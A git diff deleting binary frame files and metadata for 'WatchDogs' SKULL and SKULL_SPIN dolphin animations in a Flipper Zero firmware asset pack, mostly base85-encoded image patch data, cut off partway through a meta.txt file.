zdqRQ$G5FvBgRl2%cKiR|^nRf7|NFn*@7DZY!Sl#!zqaxz3*J8^_3QuNU+}&(b^B-6 zc7IWNey{$E_rJVPMG=4Z;*r^P|G$3tJwxMPKo6$-y9fw9AsA2ooD4cIciku;^dJxa z)&?6@Z+adR0gKP-1|FW@-~INF-}nX_H+K9^5s8DxfL-}b+K-RlDQflK>et@h8vLM#M;yr1@P*M`Uch)@f}04uKa z44=3JsBA=n*Zt4PFB$>3guh(L=*A5A8LNmR;Es({4zgUSU8 z$iW~nNDJ_Rqz^4bf&~)NP$>ZN043f5N|aF|F(?ZFgUP?8U?@_mB$relZ@m8@6og=+ zSqKO4Ue)+52BQ+7K(#{l|6}S9h$fR&RG^2$U;?E{1EZv< jM5SDl`$;J|5D>{}H6D;Xs!=HxN+n9k3&;SuO(s%^@={6p diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_4.bm deleted file mode 100644 index 9578a05ca557b22f4c4d9d99836d639b2cd59b15..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 509 zcmV)+n4+kOvE&HDkx|GQK3htIwD`~Um>@JSz+*Y)3bcSZC7E&qRO0ucPb3#<44 z^}f&;lGOftW|*sx06>yIkM~=(-jAfTH*pzvLG!o$ef!tpN&pCsOX2T+{p9u(mwUIq z{{M-^e+fPQ@9*F5!U7HzDFe^1-`#@8-~LEX=v+H<(tsCUC=vmHAAkF=?aR;rJMijC zWB?x6ba$fn1D*c&dly)Ylg2(@F4qY6B diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_5.bm deleted file mode 100644 index 7f6c1aff094892bf069ecaaf0217bbee50fd5914..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 488 zcmV(|*fgTHcvvxlSOD{D04Ydh;{bRA*zz`oITK*& zt@{v(Sn9#E>uSBA!)l+qYxV;OG(ZJ^83+V#`+soIb=z?Ok)PGQ>wmkws?}^B)%v}z z_y5=GtzOf5hsM|{9<5rdtrxvMt5vq^!NpY%wqCuft$%fTpa7y;OVzb%@>N<*R+JxV zR%;bhtI}#(DxiID`I}UyYt)kEX_-*^-|7{i(AKh4h>VBetUvt!OO&EiDzZr}DwXwp zp8o$pl1gg2oR&ZUK8FE620w|_RIFMl1r|jm4~W3N^ZtY`vsBtrq7X=jfqb}24kJMc efI%`iE)YE@{0vNrm7=6bWRj0lIdBjiPXdU^Zwbi& diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_6.bm deleted file mode 100644 index aadc3728ad7a449179306e21aa62906f417ccba4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 682 zcmV;b0#*G10Hy-}fD^m^1E>M_e{gnR`}OU==nh}7v;BX)-+tPyyZ`^b!1cH7?fuXw z`~Um>_&tB$-}Ude>JAs|9<{xF@2~y8ljnc^`~Lm??${tkLI6*1f4$xb353Kg`rqF7 z_uY9Qfy>(K{k`75|Mb2j2LTU$|99{I{^9oi+kO9H7>@-aAO-jS_n|@-kGHH1KC0}y z`+IKOz&fv}JnvvK`wmD(HDZvfOe%K2ZMX@ZVUK!$RMj;j*Z24R>-t)tIs4n=0Yl|lRtta!ekvM00uZwh0_}yP z-TlSlx>kyXN%C>ag}@>p_xS6Yd@mx!_f3)o=?@2#0<~4D>iUSW02lNgQTPVGwW_Up{~`3Bm&6`5d2M$~ zY!{0>@8I#Dz%q1gH6mB?Mvy#)#Q>7(Wm>z^c+PFgl~Hn)pnSmUG%Z|;tH@s&&1q3s zl_piCHVA#A^$!ITB~;B{#qWQyVRBMT+=v?6@DS215DctC5)DIekjkZil|p4u5OJi8 Q05T4g14HDhFcE}6Ax-*g;{X5v diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_7.bm deleted file mode 100644 index 3592d70043642686d091cce85780f7a7dd3e72fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 688 zcmV;h0#E$`0IUN4fD--!AHUoPS^lUwH~qfe+q=E?+kg8006lNN+y3wWxBvg4{-JvH z_4?m!Z~N^Jk3bxi`~B=jKKlKC{}1wq*YE!O+V_88D96X^|L*tg+kbxVxBsX41?#{4 ze(%3t`M_cS5qoX*{eA!6?f;YL4eQ_i-@ktU?*IJ*q6gOdzx~&5w)1$vqyXd(4|m`9 z>w$-FAds(@zyH5)|NFc5_7E>$ee~Ktzi;@2FbP2Ye}CQIxmZ1W+r6uz@&9k_|G)nD z9$ow2zj_fLwg2n=?|}vYUt0g|7&r8A_uKh-w_xzn00Kh@&H6HiA z-#>s*A`t+42##9-h$GklXyKs`hJio?7kI>KLJo|Ho`28~|AEC@p3niJ-(Uhu@CD+4 zi-ZI2Kc|ALRlYu5X)2wtBLd<=ej<&g-EKltB=%Bxki z<$aGr2bbt%Ao1O5y56Re43J(v-t~6BtpyiuOzIr)Uyiu_8k78EU3WRjN)4 zjo_7Pt+b>sIlxM^xhW+iKLi1zQUSxN{y5kKI2~3?NCF@2>>i!)5WsS>NKOk$`2PZk z0FZiFcxsg|s4-9_4}roW6dFh19;ITB>10@4MyKRHbAZ5LvM3Z+=q`Ws|1pq)L@Hho zNc;b0(f}0(0V1JPxB=z>6#|gc8Ac&L0P(B8p diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_8.bm deleted file mode 100644 index 4dc0cf0f0bfdbb6c6c094111611253fdb58f9a70..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 751 zcmVA0sDTo5#{GaGlfD6C>q=pM1@9Mw*U}@d$zVLwe=rj+u z*MHqaio}P*?E#De6MOdet7+2+5kR07Dg9S_wlyE`@4X8Y1_6Jh)oHu%P~X4;5)web zBp2$HcGLa){{8*`@4sDN_0S<2nx?lc{{6p)>+jwF|Fif610|xQYJb}Q=rDHQ>)!qy z0fAC-x~*69`g#>O_Wl2O7<^({swD&TUmJh^`+vUwU{Dw)qDd*v|2KcX-v6$19sB|X z0Fgv+QXu%71YSG--P}Adhy@ZMMErk$_51$yIx!*ez$;K4E+gf?x}ZyceSqL05eO|K z0V4DZ1$QC=`J}H|Ge;fy`wXN8!Lf|89Q(U=h%Z$cjGz=(L2MBfo9(OG_=C&CfDe$wL*t(htq?vS;{U_IqOTwT)Hsq30Q|w^ zZBOPtBLM#UexUIhj1CY#CP2bqp6mF;W9U(bhsyv+7(5F2FD?K09zpR3jopkOp#UOC zQ({FQ{2CI_AOZ$P6X0D8Is`fp0>#Cn^8fwgFcABU1PE98+yFlF{00D&Z~*xYgaBso zU6uYoUtj>>LFotwuXqG7b9s?d{qOIANFHCm{PZ3-@$#rhK0f{igna9dpkzVi z;q}4efby^SFOV4w5FRuC4+0+<2aoy>$-Pvhk^p&3AQJEpgT^nQxI%Ix^3Tp75#V{j zWLPQ$f))H5jAA(qxC6@rK$2u|kOcVG?`R@#qXdLLdSBd*I;ly#vM%28fRafk=RSMIwA3z&vE~AlT6&5(o!?9wb4& z5lRCBf)q=Ezz2*16aN1lMh^sp1I7^`z&`{GH}Lr5;2`l73<#zn^1uVkHYL(gm-rrH z@#h|dnj!*#|L}0W1^;>f=g0sAEfC=R3q!!X|2y_^NQXucBo><$f`Eh64eJ9|%lL17Cno0plA+k$i>X(HQtVMuQ6%6p>sY0lmDb|A_yBVuE}>;PDTS|IPvs0K#w(2p6CpSwI-^!RH^qGspY}EszX)l^I9& F5inUCY9#;w diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/meta.txt deleted file mode 100644 index 1ca66ff13..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 27 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_0.bm deleted file mode 100644 index 4e85158ceea8b4fcef028828175aa80113363f65..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 263 zcmV+i0r>s_00RO4fII=<4*+-rz#ahb2Y@^Q;05i2{2$=|2lzXA^}pCZIkdmXKf(FM zfcydZ#DL5{!26;=Z~*(i(I5~2enA1_@(1?=?ho7me{dNveZVIi3;9BU{OAn^r|J|_U-2audW>U0fhbm0CxfZfII=<4*+-rz#ahb2Y?se5AFy*xB%_HgZh8q2kd|0-v{IzAJG2* zfBE43up~AgfeLNUywKi3_pMT7(7Gw_YaqI_Aj`E2;Z?O5I-<+3m7{8xHylCz7W0`JVDpL z$;5mg^8L@l`VTJ#>|u}|05+FHAH{ky^%IfBoHe&}J1V@!4H~e% zJCSdP_z*gv`)NP--7vgXce2cn>KgM|BlNB~ptc*Fzg+qLgP z=N|`+fF6KB_koTc4;qKy5O)3D>@HyP&;!o@`}g~T#|H+c$>-;7RVHrMRE zAMkm9yZ>-{(e58FSI_^y0E=w^0~e_OdI0eglZgNWRDj&Lu5kblXIgGqPFMM$2bKQU zZwID+l>qs20Oh~he&5Mos^NZvlfU(C!SwIyqC?aF&-Z(=dc`z1pgHgTUgUyX^sqp3 zRra^A`fBM?AUbLF-r>4!YOxS{RsOxUf>z?RQ#xq%yI{I?PviIxrq|o*Kc?1I{r8d1 z-G5)G0G-9(20#G5c0b@c_xITdKRf)n|MTt-to%LzAJ6zcE8zEdn122Mh1Pn z^#SSM?w`~DEyz@X3A_8-!RbTN>VxU-|DVOV>NJah+SzxVy% zbB}|^fCoPRw(37gcsy_c^xucp4j*rStNZ!~uzff8@bZ7)VDX>=5c;R$7pMWj!vNs} z`2K+U@Pn%U4j4lHLGeIus6F%%{unxT;PIq?d_eit+u$D{In}}K1rLw#4tH>SRd4tY z@SOmt02vkdKD|(S-|=7A2i4R+{{E}_4@!MT;Q$1l{@M2jrCv*Dkc-3?GQO|q9-7)! z#)Ka{zU$f#OI%ioh$Nn$RrVLImVvSZoiD51KP@VSb_1SIb-D+pswGJz9sg5Q>w}Mf zt(8C!$)fddfazP(!n@)0*II$+-?c(u8qhgUmPoSTV3;ap*YNtnWIj{6b^59Vzu;jSfVyu(>tCv9xkY66`+C50pTuDq lQ95qR>z~zHr9gA*`~JS5`cSZy0Qzrr{qg!{Wm>TMdce-S8_fU! diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_12.bm deleted file mode 100644 index 905fa2ca7c31fec2baf8b4afb4984b1996de55d7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 617 zcmV-v0+#&&0A&LIfER!I1UK{^-k>`7!p&d&f!FR2X@AHr!uG}Wfb07ZHj+>WUBA2x zm;8+g4!_;#9VhZBSMa=^{kUCWI1lg~?fbjvJtOIX`~nl+KU(-bwfo)JJtE-o@D0=N z?Hi;V9y|a!`unG4fP=>X2R-%QR-i~2y@jRw53oHy{kwP>0mA_30nXY!Tljpw4weU? ze1Z2r2a{s8fi50BIjZ>+pNCF0-x zf$J~&^GD(bD*sd-wf!$X3y=ertX|r@mp%e+I$cyAx~L~QH`oJ~lC+ac{Z^~arTqZq zA^NP+|Er~QBIn}&)ir-ndTpXzjp?}QRbScpD!N|e{7!id(7mBu*!vLlzF~S(>a{M0 zKi&rzexkHKPrlkKk>`QSPgL56(!Z^tVLYdjgVHs=;CbEUc~}Qv9$9*oSGEs3e%_I_ zv6f1YRobV}06(w)4t?+gm!urG|HuBv9S56zzv988L4slh79ju*ehD5d03IT78;Aib z|J(c$pwKP*P}K$k7zM-S-vf_?9=h>Ji-+bfBXMiMWUMHM`^I-b0KAH?|M$YbzYsv* z(uKDP7F?!!0(k?=-Y+6ZfCm=@36LDWy>fYqh64b5h#d9f^7o{RK_V6oJXBxNVST~n z1cW05R7CN%fXCKKDn$$P|J9C&q(B3g$gv^u(t--twFr;Y3^@2iKps4?aes&8aw?vS zMBorncl&oydSc>~ktmhR>uwI10BW?Hm&op7A=Z>rCsLA^#l%~yQapeKC8FfMf|C&l D?G85@ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_13.bm deleted file mode 100644 index 65880dc89cc1f2d66785ed88f847a490f9645738..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 582 zcmV-M0=fMG073%)fEKO?U<1;??bQRer~DtRi|u+q zbo>ARV04qw1MA(^i`ORs-~rO_|MiE}Fe8Ni?!)T?2an(mb#Hk+WdQLQ9sEE&bMioe zO|9|;FllMzs|6%n9zP`Wx?TgSHLi0|Kygw8Mbpy{p52*M&ya4)# zgUjF#@8CbbK>c^9K1alRPyprs@Njtg45aH{{;&KGC-GUs?XL%od>(qU6KX-?kRPBN zWMcRFVek4-*;0Y)zt?)P_4uefZ}m<{J#{?{e*Pc+Y7VQk4^6(?&5!TP+=Wr35aobN~EU9BcYs(9l2ySL*1o|NRPhs+&;yZtHx|c=!P0kEwRS>29jT zA@}t0L-d-VdUtiQxOM+L2OT|2>JK~quGJ)uKw;p4gVk!P1ixzOG3W&t4mBD_bY7ae zY+8Q=;sM7Aw%xE5HaGZx8TP;f%m4H6eh@yjXrYJnf%W4Dj34d~s%Qvug_Hm`NmMi` z_iy$Rj=HE|5#VceKx8`*c*DjO>;KRA5)gXd+(-5Q@9$6_&~1LeGE$BHe?asDlYie? z5NLPs?5Bgif=FT05t;tfEUyUU;}UZfOW6`KsVAk~m$H9N7fyc-XZ?HUm7yc+5azN$3 z`CZ~%5pdu1p!MJTLE>CH{~#W{{ZV{Rhkwe0*RNLpUH>0-p-K)*y{eAK@aHN2Rl>Ht zSX_Q2bCiBT>9(tVaiEd;kq1h65CQvjzo>uW{!tqKsW2sDt?K?r@t^$?gOLZJ_-$X5 zc+3Bv`F^Ngo%;1x#J?B`z;X0NK!?xotNO#}9}ge?Pg(AxlU-KvKgW5)|IqYZBKmiA zU0M7C1Lyz9DVor6>-T%#R{w{<^562Ep3?z910VnRKA^V%96$ZwO{hKZj{^tRaXc;( z07rgyo)87$;K2Q>zya;Q{(+JY0Uw9~f523y;5!$;{_QwnX82RU>-QJ0|J8~VEq~qy zO#R{m{O^Jf^fWd3N1%oTzuUv>KdaP1>A(H{f$4vN!9O5`?`z5lzp7M!0CU&f*sDLl z!5{0o?xWUQRq+AOu1*npRpeMNARO(w<=YYvh!XdRD6SvHD5!xh|j_ H{r}(SRVFlf diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_15.bm deleted file mode 100644 index 960b1bd69ce05c23a491ec1e55287b627a470f47..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 547 zcmV+;0^I!p03QPXfD>Q-1E>M&;CA(a+i&~>uKXUoi^^+NjFt$+FGJYc{0 zy;MG$zTR8>|11aohf*J|`rG}dgNFP3l<83d04~?Awfe{Ke{w(d1irTV?yvo)T@A`w3GiYpc|KO*AJ~f zz-V9H_)1^_tNvg>bQ%w|4xM`aP!5~Dc)enINdO%^->Br<)s l-luX_>a|q@d;Mus01itDh!>rIYrg9T(%V^*|3eA&{(um%AyEJT diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_16.bm deleted file mode 100644 index 314b6399a95eae43244ea84ca23d40b99bc92816..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 570 zcmV-A0>%9S05$^ufD`HlPy}*-%fJ4C*8jB&x7;4xP&)Vjz;&sK2B~S40tqhu?&_9WBqSas z67T)H>IARFVnFfu0mpA$_J`A7Y7dbBt!5EOCcY5_bfldcJr2z+#KttocC#_f< zMFRWxeeVVjnneH%A5a8e!RPV^@VOA3+Ntk4#+XS;PjwLaX|L>1I`J6 zs_KF5y8#T|0e4vs>kbH04DSV_p+i(!a;1=%(UJT1!{^`&$_GRV&~RO@C+}PVwMxpnWiUe|6$>L?Z|J_D`qloa^T1W| zeL#9^ze@q0gUf*;@|%&f&UnCzN+5s>1SSh&&;>i$t zV&a~JGJW^I&^lVZVRZY~L+jtwK?Uhs_ukeCZ`Ss;q4fTj*1xNfACLd7?cM&N^s3W& IAalLD$P?xxJOBUy diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_17.bm deleted file mode 100644 index 14e0603b5928de0b8d562bab8206c32a0f7c340c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 575 zcmV-F0>J$N06PNzfDZrl10Vu7|DZbC!VmKg?7!>>TEFxT+R*;(YM^!g{=n;M%KwbX zSNEHit5qB)fBn4=t!k@D^#P0D-4Cw+OR9iy0O$AL1JXHz6{{rRp z7p}fkA1{C$eLeAd*6Og3c=!P0U;X~h>8puBLF0e}k5b+5JEbmE`Co7Mc3)ns1Rg@6 z-`&^`0|$|SfDj)yTL2J#e}I1n`#>N6&^mA7^9S?;&T-i@A8+RrKHso; z@F4%d`~ARUcd&ROf6Z7uZQw)va3p`~xIKIN(HTz%<9wsI1bm(FIN#&M@{70@y}J*T zJRVwK$UQ#(@c7?gK=GVX{y_Bp-kSn{KITj4ZcTrD9&m^T;z#jLr|4(SMuqXsNeSnnpL+7{mZrlTYfI^@cjE7JhMA6^(zM}DrKrkG* zCrLi2^EVB{AJp{^(CC2i_;BCM07xo$ctHDKjQhe3pLg~T0GqE=0MYmaZ7LuMpRa}} z4>Ibl2)-~UsDK6ZKm^af#sUaHdsEk7F4#S#EaAWkkNPiL|0V?~ zzz)lQ?ir8(xAjOZV?b^_>A`pTSS7>22S2~)UbR@Q1JD{Te|o;2U92kr89n{T408Rn_fII=<4*+-rz#ahb2Y?edFZ6@*2LiwY@&c$I@ISwR`(ziuKi`1= zgZscA@c;h9{tw>>KX3v6FZh4M{=e9LfIpZRJo8`=z6=gHAI=N{IWYT!>f->4Xan{S z7=?fzbAb5lKfwBk2gX2;*nz(!5D18Wcn}i)KzI-dfPW|z4A+ zuzSye;$AQQ)Ew3M{X#$wF?++w<7)?=v>woV`~&_EJE%RR_v{D%-UlskJ)mLn{|C>j z{s$%glm38<&wsiPE&c`Gf%|pq!Pnb=p!CnxJJK-u*7bi=^1!$M|L8or`){y)y#VwN k52zYLF|WyaKvDOC#_vrE6?_CT`c8-c`|thJ!+Prfz;H>cIsgCw diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_2.bm deleted file mode 100644 index 422e937544a754e1454f9fe5c3dd617fee22e043..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 640 zcmV-`0)PDh0DJ=ffD85nFadu+%fI^r*bd=#zx%-JFZ+qx+6P|v9sfXewe7&`tFM9A z{jL82((CsFuB&zzUe>sbxB97oW&V=z?SH2Q>g~ki1Hb{s-K$I{|7~m!ilBen{*d{9 z_S&EJ{tqAI|65i1gO0D))qW@8@~7_l!S&wOzH#vRRrFq8PBzN#V06nkQ-LL(SP#%Zh z;;m1=y^KGgd1t<>f=?dq^avgQ--D0&x|Zru5W)EH>~asMxBb5Z7tS7@UjNzZ(0`CD zK}yD0IZ%KUA0PMd8z(`Y-FM%Vu!rh_z7Ng)s5AHms2(@-nI8{+TO0fWQTPN3;Es$R z84xgc{-Ao-#N&U2LWSeM?E}|d4;lPIARirnv>vy*SbTog065nBWcBM+fB)Zi`@MVW z?TQO^tN*Y6kU4Cv=CT17dvq5T@n7w|-{?I5`&zghXaMrn`qo4550}5R9~c-suD5g9 z0m`$r4~u+3Lsb{Azu#B-`{C$f?(Kf%HRj>iWNEyno>JqGzT6 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_3.bm deleted file mode 100644 index 6c1060c0bf248fb8b245cddcdca107587f5dabd0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 600 zcmV-e0;l}}08|41fD8NtFaY1c%m45HK@Iu?F8nV4a60wE?XMfQ{9f1p*d2XcU^?`= z;bq_U!Rv0`k(aBs8!qbBA8lw5YyOaU{fX)y9oQgXcmR;=YNdqV--G1=fPcIFp!)Uo zb-(rfa6gHD*H#cq|8HsjpM%P$YyOMV>usz5W8m@dX?ohUf@}8LujD))TAkN;UZ1Ys ztMvy5l_txx7o~sSTmFO3x7z-=7yvLZc>>%3XW@W+0rn0Mf1ku3-@tV%h+lyJw~zQf zJO~&)y36}qAzi0#P)dHp9q9En(-`;6@pWqwod++|h zrT&#i@E8z!eg2?R+uESu_U{YUdkWA%MeFbTfsXvX7#YZb1Mc33&-*!me4zdF!SDY5 z@Uhr%9;i9FKYQ}||JkE~$B)xpZP%$z2mFwOldd};Il^z!0&-vay|VfLu&VYpBT%gK z#rpsnzZ?hc{?Xw3AIuOS^}f?QK6Anjgg(9xf6Ne}Gc^f#eZF!ao``66@HpS-9zgi- z|3UTd{lD}41_R;$*ZW6{SN{9&vJ4009wBiLrrd5&3J1h4CHA)Tz+-`+8;5o3C#C}gYEn6f3LBhr~g-}`wa)S4;|fE09(!n|7~{Hr;y|&a{nWTudVv91YTd- mw{Q3tIjS)J;33ujcFO_)4X;yrQHTUW1+8=t0D89bVSm80<56<} diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_4.bm deleted file mode 100644 index e25e784d9c0881cf7a3445d9be44d149a07f6a25..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 612 zcmV-q0-OB-0AK?DfG55OZm1o%VY&bx+z#5HJ5@vd{{I1!f3^dye^>hhr(eJN1EpU2 zCSTs@kiCCjs9wJC`ES8vtJ?+F@4fng1_qcLUANi~O6}j?1QkI4D!sCL{q>>ozk|l% zRo!cW$A8}U{onZbJZv2*w`@M1`_lkn;PJp|Jzr+3eyaI@{2U%M3ZBe33H9~1C-e}De4 zehbIq4~209%lHq7>;h2VAOGZESK;{p5DbFxNQgOi=l1{j0qgHwhybV957)qX0rQ}L z`+$|zftNx0k3P%*U9chB_!szb0XN}R^aIC$2u;0w3V-hf{t18$AHV(eGN(iy+yA}% zOqvw{?*-n zp#|=N#y|Y?g~!yA5CPS0{=fY{_&XY{cWNJA|F}L;fBvX!C*-7uM|7+I&`QUQu*MsOs9`gWo>tfw{uAtI}R8*t@ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_5.bm deleted file mode 100644 index 569a5763d82379a3179a21d26c74d13830a0db43..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 550 zcmV+>0@?im03rhafFk|}ZU5*Hz;_G3+zz(?*d1&B(7OlQ-`)eS?^Xv|t*j2e@9-Uc zUGO^h>t^NJ+P|aZ0*HXM{;T;pzx#b?5TG~<^;fEZK>Aw64Ns^( zn}2WL`TvK5#{t&s5E|T|7#Mu3d$9U$_kFN9gUbQe>o5}E@7okb@LUMF09EVz{}+fp zJ^!Ps0q4N~{6XQV zK(GT?z(D8y{}>N{|HTW$WIzG;hnHUw+K`0AAOXJb&tf z!YPOQs7446F8=rYOArA_z(WJh9ED#JKKHJES405yK<5koe+#BR8m{y{l|SwLdMg4J zi8%;n4NG>mM6yScX zuDO7l@Bo3&U;Wko+6(o)fW^#rUcdF&zTmoj^>@(ncl*8bqV;;g^b`;rh6U~Zq7VPK oKL}kS`)ad2y32(6_JBeMI^XX8Crn=3RAn##>$N~++v=;K^L}U{5&!@I diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_6.bm deleted file mode 100644 index b1ee630fb0374307f31a9c1aa39811da6aa4447c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 526 zcmV+p0`dI;015*CfFr&KZ+IQH|KK|B!R^}zwbUNkvA=CY>wo)!)_?W&2bX{Q1E#-K z{R5}p@Ad0hU0t^MRTU}Bh@8!`WkUaHkh5Ge%p>cej7(R{UHwXZw z_SQo#$R2RubbsUE;=o6N{htTQIFaJUFn#aK$PbRB{2#y3bpPPu;tt3FVZrVH$>0hNZ3&xHg?K-6Z5#QqQ+y($X*cCkR{Yk{wW(7_?KUNQKSvar0 z|2!XX4{PXsarIzw-_r~4-}nB7mEZn=$^Wm837CI#%XRxh4FB!@pk%lG|Dg5N?SSju z>!_GMwY&Iyx4pja$7kLPuiSnl6U9}wpyb;I#15BFZ*@SQzyA4(l&#&^4xR12?CP6c QP@R7L?QlIhyKS(%z{oEl_y7O^ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_7.bm deleted file mode 100644 index 815067c7e63fe2484df6deb76ee4c93fb0e26548..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 514 zcmV+d0{#5~0R930fFtS$Z?G9}{_xa;)7l4K_ z4_%j39=-2aJ#3x-(7i+HMZW88MCbm1hJOH{RJUmb{SA&js2)eV_8(6E+&)lnc;qQb z1n>X-;c|h4#z9pqC*S}3P!t3nI1PBcKl^R?9GwM#)p>!(+x^{yLJvI!U0}WUIbXr& zuV^p;kHP>SL++2o0P+L*dY}b|my5g)$^mgf@d#!pJ}*o{082P~u2TojgMJRMc+e~0 zh1-Fb5Bj%<@*DN1f)}&~T|fE8L?ge0*QfsnlbpBzV0!46htB~IUjBwl{=>ipFBk}Y zqH_4Qr_?pe}A(1|2!PM@p`5Q zz8_*T-~ah=!v5Y!4j=xk9=C8&1QM#$5ITC%E!+H~s5U?CXeEBB1>gU>f1o-V1qPP> z4%r;u)dFVcR?$ehO@P|}S8Y&7^Y^3=zpt%pe#hkR??dPPtJQaA1-<+IU}LB0ZC$WA EfReut-~a#s diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_8.bm deleted file mode 100644 index 87e06e151c057f3bf7e4fc93992353040e5cc162..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 525 zcmV+o0`mO<00{#BfF8g71Fc*h+W+us014Or0oQI1X3_ul=*rVkv1s2-O8e|QQ| z@OacJfb?35K;Yo<#7P(l*V`e^1|Ka*An)KIE1U!#HVTk^HKkz-js5UnNhmzS<+cKl zJik3xgwMg`{ShG8IlkFCG` zf!0FyYkxA`An9<}y!NHxEpF@694ZrD9D{EWDvZA|8%(ZS{CClC9o7fF7T6bCOD z2zH_Mr{Hx!QU{Lz-ChTzUlF7Nm(Ty--F?ytQ_zi%=l9oxgnp7y@&Eom`(JBrFHDno z?%?t3-^1%9g#ilZ@c-(4UiJas@pJ&OcF99++t!8YI;8&qgOve~Y%DJZ|HJ=Zzv}!z z6A$o}^5*YDpeEq_EGUg>>o`MXdZ zEC2mi9U!`0P+>oM&@ub(`kh5lAdBJKhtj1*)Q8jk+rJZ&DOk3L&wtzhTEXXgl1X}@ P^xNw9!t~Vu1Ri_vW8fax diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_9.bm deleted file mode 100644 index d31525b445866dcd0d49399a264093f2aea9bf4c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 514 zcmV+d0{#5~0R930fFJ4yZ_pjNL6`t8*bKY>XdQ3;KsyJTzm)^8zP1NiJlFUKPv5*A zwOX(24x0V%_zswjSI7>Z&E8#o03OQGM=aI@ z{C+4ss2Z>6F+U*nuk^j3@&FdR>a=`MFSss8QGg22d&52aTKi_cJ6)N)Ji?*4N!fC8iWU zAb8*XpdkmQRv>pjf`m8ES- E2+U#r(f|Me diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/meta.txt deleted file mode 100644 index 53f5a9ef3..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 19 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 